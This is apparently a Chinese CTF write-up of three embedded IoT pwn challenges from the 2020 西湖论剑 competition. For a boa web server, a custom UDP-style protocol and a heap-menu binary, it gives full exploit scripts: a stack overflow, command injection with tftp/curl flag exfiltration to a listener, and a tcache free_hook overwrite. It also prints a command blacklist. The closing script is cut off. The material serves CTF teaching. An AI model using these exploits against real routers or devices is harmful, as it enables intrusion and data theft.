海特实验室
激烈的比赛结束了,在仔细研究Writeup之前我们先来回顾下2020西湖论剑IoT闯关赛获奖名单!
一等奖 | chamd5 | 联合战队 |
二等奖 | 0ops | 上海交通大学 |
Nu1L | 联合战队 | |
三等奖 | sycl0ver | 成都信息工程大学 |
f61d | 郑州信息工程大学 | |
XIoT34m | 南京邮电大学 |
图为荣获一等奖的战队:chamd5
在 IoT 闯关赛中出了三道嵌入式 IoT 的 pwn 题,题目的大部分考点都源于实际案例,将真实的 IoT 设备的漏洞点抽象成题目的考察点,考察选手对嵌入式 IoT 设备漏洞的挖掘、利用以及在设备中的调试方法。
pwn1 考点是由一个真实的某品牌路由器 0day 漏洞抽象而成,考察选手关于快速漏洞挖掘的能力。题目以完整的boa 中间件程序方式提供给选手,加大了代码分析的难度。但是如果使用敏感函数回溯的方法就可以快速定位漏洞点。
首先将题目下发到开发板之后,直接访问到 20.20.11.14 的 80 端口 web 服务,或者使用端口扫描的方式可以发现在 80 端口开启了一个 web 服务,并且访问时就提示 basic 认证。
根据题目所给的附件或者查看http协议的数据响应包头部,可知 web server 使用的是 boa 中间件/服务器。
Boa作为一个单任务型的HTTP服务器,它对HTTP连接在内部多路复用,只会对CGI请求进行fork进程。其主要的限制是没有访问控制功能,需要二次开发身份认证等功能,会是IoT固件中常见的问题点。
boa 的官网:http://www.boa.org/
如果对路由器漏洞挖掘比较熟悉的选手可能会对这个中间件比较了解,该中间件可以看作是一个小型的 web server,默认其没有认证的功能,认证是二次开发的结果,关于认证开发的方法可以参考后面一个小节。
在进行信息收集和程序的大概的代码分析之后,发现其只有一个登录认证的功能,那么就直接可以着手分析其登录认证的功能点。
因为此处的登录认证为 basic 认证,该认证方式以Authorization: Basic base64_encode(user:pass)
的方式填充在http协议数据包的头部进行请求,即:
POST /login.cgi HTTP/1.1
...
Authorization: Basic YWRtaW46MTIzNDU2
...
该认证的逻辑体现在 boa 的代码中,那么可以使用字符串搜索的方法,搜索 Authorization 或者 Basic 即可找到认证逻辑发生的位置。例如这里根据字符串 Basic 定位到 sub_1D1E4 函数在此处的引用。
strstr
函数,传入一个 v2 参数指针和字符串常量 "Basic" ,可以猜测这里将前端传入的 http 数据包中 Authorization
字段的值与 "Basic" 字符串做匹配,或者经过调试也可以发现这里传入的值确实是该字段。函数下面的代码将 "Basic" 字符串后的 base64 编码信息进行解码,得到 user:pass
格式的用户名和密码,再将用户名和密码分为作为参数传入到 sub_1D1AC 函数中,跟进函数,函数中直接将用户名和密码通过 sprintf 函数格式化到栈上,此处没有对传入的字符串长度进行验证,造成了栈溢出漏洞。
若这里一开始就对 sprintf 函数进行调用回溯的话,可以看到这里只有三处的引用位置,其中第一处就是漏洞点的位置,所以使用这个方法来确定漏洞点是最快的方法。
大部分选手一开始就想到了 ret2libc 的方法来做,在使用调试环境的时候确实也可以看到 libc 的随机化是关闭的,但是其实这个题目可以直接使用 ret2text 来做。
使用调试环境(使用方法见文章后面的小节)对 boa 程序进行 gdbserver 调试,在 0x001D1DC 地址处下断点,前台访问 20.20.11.14 的 80 端口,使用 pwntools 的 cyclic 模块来生成循环字符串来确定偏移量:
from pwn import *
data = cyclic(330)
username = "a"
password = data
# aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadha
将脚本生成的 username 和 password 作为用户名和密码进行输入,gdb-multiarch 连接到 gdbserver 之后,直接 continue 之后,可以看到此时崩溃时的 pc 寄存器的值为 "adba"。使用 cyclic_find("adba")
可以得到栈溢出的偏移为 302。
在确定完偏移之后,在函数列表中查找 system 函数的位置,查看函数进行回溯引用位置。
发现其中第一处 system 函数的执行流程比较奇怪,将 R6 寄存器中的指针值偏移 0x10 位置的值左移 8 位,再将 R6 寄存器的值赋值到 R0 寄存器中。
.text:0001D2DC LDR R6, [R6,#0x10]
.text:0001D2E0 MOV R0, R6,LSR#8
.text:0001D2E4 BL system
回头查看栈溢出崩溃的上下文环境,发现这里的 R6 寄存器也是属于可控的范围。
R0 0x0
R1 0xbebd5b22 ◂— 'caaddaadeaadfaadgaadha'
R2 0x64
R3 0x3a
R4 0xbebd5b20 ◂— 'adcaaddaadeaadfaadgaadha'
R5 0x5cc10 ◂— 0x4
R6 0x4c030 ◂— 0x61610061 /* 'a' */
R7 0x0
R8 0x4fff
R9 0x62ce6 ◂— 'GET / HTTP/1.1'
R10 0x407b4 (debug_level) ◂— 0x0
R11 0x63086 ◂— 0x0
R12 0x3101c (_GLOBAL_OFFSET_TABLE_+28) —▸ 0xb6e7cea0 (strcmp) ◂— ldrb r3, [r0], #1
SP 0xbebd5b18 ◂— 'aczaadbaadcaaddaadeaadfaadgaadha'
PC 0x1d1dc (check_pass+48) ◂— pop {r4, pc}
在 0x0001D250 地址处,使用 strcpy 将传入的 password 的内容存储到了 bss 段上,那么这里就可以提前将命令作为 password 的内容传入,接着将 R6 赋值成 bss 上的地址,并右移 8 位即可。
R6 = (0x4353801 >> 8)
*(&(0x43538)) = COMMAND
可以使用多种方式执行命令获取 flag 文件的内容,这里首选 tftp 和 curl,使用 tftp 命令需要在本地搭建 tftp server,macos 自带的服务直接开启即可。使用 curl 方式可以指定 PUT 方法将 flag 中的内容上传到本地,此时在本地监听端口即可。
远程命令:cat /flag > /tmp/1;curl -X PUT 20.20.11.13:6666 -T /tmp/1
本地:nc -nvlp 6666
# coding: utf-8
from pwn import *
import requests
from socket import *
import os,sys
# python exp_pwn1.py "cat /flag > /tmp/1;curl -X PUT 20.20.11.13:6666 -T /tmp/1"
cmd = '%s;echo '%(sys.argv[1])
def parse_payload():
payload = 'a'*14
payload += p32(0x4353801)
payload += 'b'*46
payload += cmd.ljust(302-46-4-14,'x')
payload += p32(0x00001D2DC)
return payload
url = "http://20.20.11.14:80"
def main():
res = requests.get(url,auth=("a",parse_payload()))
print(res.text)
main()
添加认证的主函数 auth_main:
...
if (translate_uri(req) == 0) { /* unescape, parse uri */
/* errors already logged */
SQUASH_KA(req);
return 0; /* failure, close down */
}
...
if(!auth_main(req,req->auth_header)){
send_r_unauthorized(req,"root");
return 0;
}
if (req->method == M_POST) {
req->post_data_fd = create_temporary_file(1, NULL, 0);
if (req->post_data_fd == 0) {
/* errors already logged */
send_r_error(req);
return 0;
}
...
在 process_option_line 函数中,添加对 http 头部 Authorization 字段的判断,在 global.h 文件中对 request 结构体进行添加成员变量:
...
if(!memcmp(line,"AUTHORIZATION",14) && !req->auth_header){ /* add http basic authorization */
req->auth_header = value;
return 1;
}
...
添加成员变量 auth_header:
...
/* Agent and referer for logfiles */
char *header_host;
char *header_user_agent;
char *header_referer;
char *auth_header; /* add 'Authorization' header*/
char *header_ifrange;
char *host; /* what we end up using for 'host', no matter the contents of header_host */
...
在 check_pass 函数中,比较密码的正确性,并返回 1 或者0。在上层函数中,根据函数的返回值进行判断,如果密码不正确执行 response.c 里的 send_r_unauthorized 函数。如果成功按照正常流程走,返回 200 状态码。
同时需要包含 boa.h 文件
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <string.h>
#include "boa.h"
unsigned char *base64_decode(unsigned char *code);
unsigned char *base64_decode(unsigned char *code)
{
int table[]={0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,62,0,0,0,
63,52,53,54,55,56,57,58,
59,60,61,0,0,0,0,0,0,0,0,
1,2,3,4,5,6,7,8,9,10,11,12,
13,14,15,16,17,18,19,20,21,
22,23,24,25,0,0,0,0,0,0,26,
27,28,29,30,31,32,33,34,35,
36,37,38,39,40,41,42,43,44,
45,46,47,48,49,50,51
};
long len;
long str_len;
unsigned char *res;
int i,j;
len=strlen(code);
if(strstr(code,"=="))
str_len=len/4*3-2;
else if(strstr(code,"="))
str_len=len/4*3-1;
else
str_len=len/4*3;
res=malloc(sizeof(unsigned char)*str_len+1);
res[str_len]='\0';
for(i=0,j=0;i < len-2;j+=3,i+=4)
{
res[j]=((unsigned char)table[code[i]])<<2 | (((unsigned char)table[code[i+1]])>>4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的后2位进行组合
res[j+1]=(((unsigned char)table[code[i+1]])<<4) | (((unsigned char)table[code[i+2]])>>2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应bas464表的十进制数的后4位进行组合
res[j+2]=(((unsigned char)table[code[i+2]])<<6) | ((unsigned char)table[code[i+3]]); //取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合
}
return res;
}
int read_passwd(unsigned char *passwd){
//memset(tmp,'\0',sizeof(tmp));
FILE *fp;
fp = fopen("/tmp/passwd","r+");
if(fp == NULL){
return -1;
}else{
int ch;
unsigned int index = 0;
char tmp[1];
memset(tmp,'\0',sizeof(tmp));
while(1){
ch = fread(tmp,1,1,fp);
if(ch == 0){
break;
}else{
passwd[index] = tmp[0];
index++;
}
}
fclose(fp);
}
return 1;
}
int check_pass(request * req,unsigned char *ori_passwd,unsigned char *user,unsigned char *pass){
char tmp[300];
sprintf(tmp,"%s:%s",user,pass);
//printf("%s",passwd);
if(strcmp(tmp,ori_passwd)){
//printf("check password error, Login failed!\n");
return 0;
}else{
//system("echo 'Login success!'\n");
//send_r_request_ok(req);
return 1;
}
}
int auth_main(request *req,char *authStr){
if(!authStr){
return 0;
}
//char *header = "Authorization: Basic cm9vdDo3ZjMzMTg2NjU0OGIzYzAxOTM0NGJlNDExYTcxOTU2N2YyODYyYjE0YTFiOTdiNjU0ZjA5NjczMmE1YmM3N2NlNmU4MzA2MTI2MmFjYjllOWY0ZjZjMzkyZmIwNmE5MTM4MjM1OTUwMQ==";
unsigned char read_passwd_buf[200];
memset(read_passwd_buf,'\0',sizeof(read_passwd_buf));
int status = read_passwd(read_passwd_buf);
if(status<0){
send_r_error(req); // /tmp/passwd can't be read.
return 0;
}
char *tmp,*enpass = NULL;
char *user,*passwd = NULL;
tmp = strstr(authStr,"Basic");
if(!tmp){
return 0;
}
enpass = tmp+6;
char *plain = base64_decode(enpass);
passwd = strchr(plain,':');
if(passwd!=NULL){
passwd++;
}
user = strtok(plain,":");
printf("user: %s,pass: %s\n",user,passwd);
if(check_pass(req,read_passwd_buf,user,passwd)){
return 1;
}else{
return 0;
}
return 0;
}
添加对 auth.c 中函数的引用:
...
/* auth */
int pwd_init_main();
int check_pass(request * req,unsigned char *ori_passwd,unsigned char *user,unsigned char *pass);
unsigned char *base64_decode(unsigned char *code);
int read_passwd();
int auth_main();
...
增大对 http 头部长度大小的限制,使栈溢出能够被利用:
...
#define MAX_HEADER_LENGTH 20480 /* bigger */
...
pwn2 是一个关于自定义协议逆向的题目,但是因此大意疏忽忘记过滤了 flag 字段,导致可以直接读取出 flag 文件中的内容,都被师傅们非预期了,orz。该题目考察的是自定义协议的快速逆向和漏洞利用方法。
在 IDA pro 的 main 函数中,使用 pthread_create
函数创建了 init_socket 函数的多线程,跟进 init_socket 函数,函数中监听了 6780 端口,将该端口接收到的数据存入 buf 指针中并作为 handle_message
函数的参数执行。
接着跟进 handle_message
函数,该函数中主要的流程是先判断传入的数据头部是否为 "H4bL1b",接着对数据的偏移 14 字节之后的数据进行 crc32 的校验。最终取到数据偏移为 8 到 9 两个字节的值作为 send_loop 函数的第一个参数,将数据的偏移 14 字节之后的数据作为 send_loop 函数的第二个参数。
signed int __fastcall handle_message(const char *a1)
{
signed int v1; // r3
char *s; // [sp+4h] [bp-30h]
char s1; // [sp+8h] [bp-2Ch]
int v5; // [sp+14h] [bp-20h]
int v6; // [sp+18h] [bp-1Ch]
int v7; // [sp+1Ch] [bp-18h]
char *v8; // [sp+20h] [bp-14h]
unsigned int v9; // [sp+24h] [bp-10h]
char *dest; // [sp+28h] [bp-Ch]
size_t v11; // [sp+2Ch] [bp-8h]
s = (char *)a1;
v11 = strlen(a1);
memset(&s1, 0, 0xAu);
if ( v11 <= 0x1000E )
{
dest = (char *)calloc(v11 + 1, 1u);
if ( dest )
{
strcpy(dest, s);
v9 = ((unsigned __int8)s[6] << 8) + (unsigned __int8)s[7];
if ( v9 <= 0x1000 )
{
v8 = (char *)calloc(v9 + 1, 1u);
if ( v8 )
{
strcpy(v8, dest + 14);
memcpy(&s1, dest, 6u);
if ( !strcmp(&s1, "H4bL1b") )
{
v7 = crc32(v8, v9);
v6 = ((unsigned __int8)s[10] << 24)
+ ((unsigned __int8)s[11] << 16)
+ ((unsigned __int8)s[12] << 8)
+ (unsigned __int8)s[13];
if ( v6 == v7 )
{
v5 = ((unsigned __int8)s[8] << 8) + (unsigned __int8)s[9];
send_loop(v5, v8);
v1 = 1;
}
else
{
makeup_error_response(49153, "Message crc error!");
free(v8);
free(dest);
v1 = 0;
}
}
else
{
makeup_error_response(49152, "Message header error!");
free(v8);
free(dest);
v1 = 0;
}
}
else
{
makeup_error_response(49150, "Malloc failed!");
v1 = 0;
}
}
else
{
makeup_error_response(49151, "Message body too long!");
free(dest);
v1 = 0;
}
}
else
{
makeup_error_response(49150, "Malloc failed!");
v1 = 0;
}
}
else
{
makeup_error_response(49151, "Message too long!");
v1 = 0;
}
return v1;
}
在 send_loop 函数中判断参数一的值,这里有三个选择 0x101、0x102、0x103。当该值为 0x103 和 0x101 时,输出一个字符串,因此可以忽略此分支。当参数一为 0x102 时,将第二个参数传入并执行 getAction
函数。
参数二需要带有 : 字符。
char *__fastcall send_loop(int a1, const char *a2)
{
char *result; // r0
char *s; // [sp+0h] [bp-Ch]
int v4; // [sp+4h] [bp-8h]
v4 = a1;
s = (char *)a2;
result = strchr(a2, ':');
if ( result )
{
if ( v4 == 0x102 )
{
result = (char *)getAction(s);
}
else if ( v4 != 0x103 && v4 == 0x101 )
{
result = (char *)show();
}
}
return result;
}
在 getAction 函数中,比较传入的指针的值是否为 readFile、setSystemParam、leaveSecret。根据判断的结果执行对应的函数。
signed int __fastcall getAction(const char *a1)
{
const char *v2; // ST08_4
char *s2; // [sp+4h] [bp-10h]
int v5; // [sp+Ch] [bp-8h]
s2 = (char *)a1;
if ( strncmp("readFile", a1, 8u) )
{
if ( !strncmp("setSystemParam", s2, 0xEu) )
{
setSystemParam(s2 + 15);
}
else
{
if ( strncmp("leaveSecret", s2, 0xBu) )
return 1;
exec_command(s2 + 12);
}
return 1;
}
v5 = dump_apmib_conf(s2 + 9);
if ( !v5 )
return 0;
v2 = (const char *)malloc(nReadbytes + 1);
b64encode(v5, nReadbytes, v2);
make_send_message(v2);
return 1;
}
如果值为 readFile 时,将 : 后的值作为参数执行 dump_apmib_conf
函数,执行其他分支也是同理。因此在上述的分析之后,可以得到数据包的格式如下:
因此存在 00 字节截断的问题,所以 msg_data_len 至少为两字节大小,即至少为 0x101。
在 setSystemParam 分支中, 执行 get_user_pass 函数得到 shadow 文件中的用户名和密码,根据输入的 username 和 password 进行对比,对比通过时将 global_flag 设置成 1。
char *__fastcall setSystemParam(const char *a1)
{
char *result; // r0
const char *v2; // ST24_4
const char *v3; // ST20_4
const char *s2; // ST10_4
char *s; // [sp+4h] [bp-28h]
const char *v6; // [sp+Ch] [bp-20h]
char *v7; // [sp+18h] [bp-14h]
char *s1; // [sp+1Ch] [bp-10h]
s = (char *)a1;
result = strchr(a1, 10);
if ( result )
{
v2 = strtok(s, "\n");
v3 = strtok(0, "\n");
s1 = strchr(v2, ':') + 1;
v7 = strchr(v3, ':') + 1;
result = (char *)get_user_pass();
if ( result )
{
s2 = strtok(result, ":");
v6 = strtok(0, ":");
result = (char *)strcmp(s1, s2);
if ( !result )
{
result = (char *)strcmp(v7, v6);
if ( !result )
global_flag = 1;
}
}
}
return result;
}
在 leaveSecret 分支中,使用 ioctl 函数传入 request 参数的值为 0x8927,获取到 usb0 网卡的 MAC 地址,和输入的 MAC 地址进行比较。
request 的值为 0x8927 表示 SIOCGIFHWADDR,即实现与网络接口有关的操作。这里用来获取网卡接口的 mac 地址
signed int __fastcall exec_command(char *a1)
{
signed int v1; // r3
char *v3; // [sp+4h] [bp-C8h]
char command; // [sp+Ch] [bp-C0h]
char s[4]; // [sp+70h] [bp-5Ch]
int v6; // [sp+74h] [bp-58h]
int v7; // [sp+78h] [bp-54h]
int v8; // [sp+7Ch] [bp-50h]
int v9; // [sp+80h] [bp-4Ch]
int v10; // [sp+84h] [bp-48h]
int v11; // [sp+88h] [bp-44h]
int v12; // [sp+8Ch] [bp-40h]
char dest; // [sp+90h] [bp-3Ch]
char v14[14]; // [sp+A2h] [bp-2Ah]
char *v15; // [sp+B0h] [bp-1Ch]
char *s1; // [sp+B4h] [bp-18h]
int v17; // [sp+B8h] [bp-14h]
char *src; // [sp+BCh] [bp-10h]
int fd; // [sp+C0h] [bp-Ch]
int i; // [sp+C4h] [bp-8h]
char v21[4]; // [sp+C8h] [bp-4h]
v3 = a1;
fd = socket(2, 1, 0);
src = "usb0";
strcpy(&dest, "usb0");
v17 = ioctl(fd, 0x8927u, &dest);
*(_DWORD *)s = 0;
v6 = 0;
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
if ( !v17 )
{
for ( i = 0; i <= 5; ++i )
sprintf(&s[2 * i], "%02X", (unsigned __int8)v14[i]);
}
v21[strlen(s) - 88] = 0;
s1 = strtok(v3, ":");
v15 = strtok(0, ":");
if ( !strcmp(s1, s) && global_flag == 1 )
{
if ( check_black_list(v15) )
{
makeup_error_response(49403, "Your input is illegal");
v1 = 0;
}
else
{
snprintf(&command, 0x64u, "echo \"%s\" > /tmp/secret &", v15);
system(&command);
make_send_message("\nLeaving your secret complete!\n");
v1 = 1;
}
}
else
{
makeup_error_response(49403, "You can't do the action!");
v1 = 1;
}
return v1;
}
接着将 MAC 地址后的字符串传入到 check_black_list 函数中,根据黑名单比较是否为一些非法命令:
bool __fastcall check_black_list(const char *a1)
{
char *haystack; // [sp+4h] [bp-8h]
haystack = (char *)a1;
return strstr(a1, "telnetd")
|| strstr(haystack, "wget")
|| strstr(haystack, "curl")
|| strstr(haystack, "nc")
|| strstr(haystack, "ssh");
}
比较完成之后使用 sprintf 函数格式化到栈上,使用 system 进行命令执行,这里很显然存在命令注入漏洞,可以执行一部分的命令,因为板子上存在 tftp 命令,因此可以通过执行 tftp 命令的方式将 flag 文件传出。
题目有多个漏洞点,需要组合进行漏洞利用。首先在 dump_apmib_conf
函数中,可以传入要读取的任意文件,但是限制不能读取 shadow 和 config.dat 文件。
bool __fastcall compare_filename(const char *a1)
{
char *haystack; // [sp+4h] [bp-8h]
haystack = (char *)a1;
if ( strstr(a1, "../") )
return 0;
if ( strstr(haystack, "shadow") )
return 0;
if ( !strcmp("config.dat", haystack) )
return 0;
return strcmp("/config.dat", haystack) != 0;
}
但是根据函数名猜测这里要读取的是 apmib 的配置文件,apmib 配置文件是 Realtek SDK 的配置文件的标准格式,采用的是 mib 结构在 flash 进行存储。(见参考链接三)
此处读文件的操作忘记过滤了 flag 文件,导致可以直接读取出 flag 文件造成了非预期。
compare_filename 函数中使用 strcmp 函数比较参数值是否为 "config.dat" 或者 "/config.dat" ,是的话就直接返回 0 ,导致文件读取失败。但是这里可以传入 "./config.dat" 来绕过限制,泄露出 config.dat 的文件内容。
再泄露出 config.dat 的文件内容并进行 base64 解码保存到文件中之后,使用 010 editor 查看其格式,发现头部为 "COMPCS" 字符串开头,因此可以确定其为 apmib 配置文件,下一步需要将配置文件解析成明文的格式。在 github 找到某个解析 apmib 配置文件的项目,编译完成之后进行解析,得到一些关键的信息 admin、alexandr1s
。猜测即为需要传入的账号和密码。
接着构造数据包进入 setSystemParam 分支,将用户名和密码构造好之后,将 global_flag 设置成1。这里是以 \n 将用户名和密码进行分隔,需要注意一下。
H4bL1b\x01\x01\x01\x02\xd2\xf6|\xd2setSystemParam:username:admin\npassword:alexandr1s\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
使用 arp -a 命令,查看板子 20.20.11.14 此 IP 对应的网卡 mac 地址,可以看到我这边的 mac 地址(注意转换成大写):
arp -a | grep 20.20.11.14
? (20.20.11.14) at da:fc:1a:58:61:9e on en65 ifscope [ethernet]
最后一步再构造需要执行的命令即可,这里使用 tftp 将 flag 文件传出,这里闭合命令即可。
1";tftp -p -l ./flag -r flag 20.20.11.13;echo "1
MAC 地址需要根据板子网卡的不同进行修改,可以使用 arp -a 命令得到 IP 对应的 MAC 地址。
echo 'H4bL1b\x01\x01\x01\x02?\x9f\x98\xb8readFile:./config.dat\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | nc 20.20.11.14 6780
echo 'H4bL1b\x01\x01\x01\x02\xd2\xf6|\xd2setSystemParam:username:admin\npassword:alexandr1s\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | nc 20.20.11.14 6780
echo 'H4bL1b\x01\x01\x01\x02\xab\xba\r=leaveSecret:A6EEC09516E8:1";tftp -p -l ./flag -r flag 20.20.11.13;echo "1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | nc 20.20.11.14 6780
非预期解法(来自 Nu1L 战队)
from pwn import *
import zlib
import threading
context.log_level = 'debug'
def make_paload(op, msg, l=0):
ret = b'H4bL1b'
if l == 0:
l = len(msg)
ret += p16(l, endian='big')
ret += p16(op, endian='big')
ret += p32(zlib.crc32(msg) & 0xffffffff, endian='big')
ret += msg
return ret
def get_action(msg):
return make_paload(0x102, msg)
def read_file(filename):
msg = b'readFile:'
msg += filename.ljust(0x101, b'\x00')
return get_action(msg)
def set_param(data):
msg = b'setSystemParam:'
msg += data.ljust(0x101, b'\x00')
return get_action(msg)
def show(msg):
return make_paload(b'a'*0x101 + b':', 0x101)
def main():
p = remote('127.0.0.1', 9999)
#p = remote('192.168.138.2', 6780)
p.send(read_file(b'/workspace/flag'))
msg = p.recvuntil('}')
if b'Open file erro' not in msg:
p.interactive()
p.close()
if __name__ == "__main__":
while True:
main()
在真实路由器的漏洞挖掘过程中,经常能看到堆块free之后,没有置空,但是却很难利用起来,在iot领域现有的CVE中,几乎没有uaf利用成功的案例。此题本意指在关注arm架构下的uaf漏洞,为了降低难度,又设置了一个由strcpy函数造成的经典栈溢出,这个栈溢出可以用来泄漏libc的基址,也可以泄漏stack的地址,当然也可以用来劫持程序执行流。由于我的疏忽,username和passwd开辟的内存空间过大,导致可以放入完整的shellcode或者rop链,造成了非预期。
修改密码的时候调整偏移,leak出libc基址,因为环境用的是glibc2.30,有tcache机制,但是申请堆块的时候没有对size进行检查,可以任意地址写,这里修改free_hook
为system
,然后free(/bin/sh\x00)
拿到shell
from pwn import *
#context.log_level='debug'
#p=process(["qemu-arm","-L","/usr/arm-linux-gnueabihf","./pwn3"])
#p=process(["qemu-arm","-L","../","pwn3"])
e=ELF('../lib/libc-2.30.so')
#p=process(["qemu-arm","-g",'1234',"-L","../","./pwn3"])
p=remote("20.20.11.14",9999)
p.sendlineafter('username:','yzloser')
p.sendlineafter('password:','yzloser')
p.sendlineafter('again:','yzloser')
p.sendlineafter('continue','')
p.sendlineafter('choice','3')
p.sendlineafter('password:','A'*0x27)
p.sendlineafter('continue','')
p.sendlineafter('choice','2')
p.recvuntil(b'A'*0x27+b'\n')
libc=u32(p.recv(4))-205384
def add(idx,siz,s):
p.sendlineafter('choice','1')
p.sendlineafter('choice','1')
p.sendlineafter('index',str(idx))
p.sendlineafter('size',str(siz))
p.sendlineafter('content',s)
def dele(idx):
p.sendlineafter('choice','1')
p.sendlineafter('choice','2')
p.sendlineafter('index',str(idx))
print(hex(libc))
for i in range(10):
add(i,0x30,'/bin/sh\x00')
for i in range(7):
dele(i)
dele(7)
dele(8)
dele(7)
for i in range(7):
add(20+i,0x30,'/bin/sh\x00')
add(30,0x30,p32(libc+e.symbols['__free_hook']))
print(hex(libc+e.symbols['__free_hook']))
add(31,0x30,'test')
add(32,0x30,'test')
add(34,0x30,p32(libc+e.symbols['system']))
add(11,10,'/bin/sh\x00')
dele(11)
p.interactive()
修改密码的时候调整偏移,leak出libc基址,再次修改密码,劫持执行流到main函数,然后输入构造的ROP链
POP {R4,PC} + p32(binsh) + MOV R0, R4 ; POP {R4,R5,R7,PC} + p32(sys_addr) * 8
拿到shell
from pwn import *
context.log_level = 'debug'
# p = process('qemu-arm -g 12343 -L . ./pwn3'.split(' '))
# p = process('qemu-arm -L . ./pwn3'.split(' '))
p = remote('20.20.11.14', 9999)
def launch_gdb():
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
def change(n):
p.recvuntil('choice')
p.sendline('3')
p.recvuntil('password:')
p.send(n)
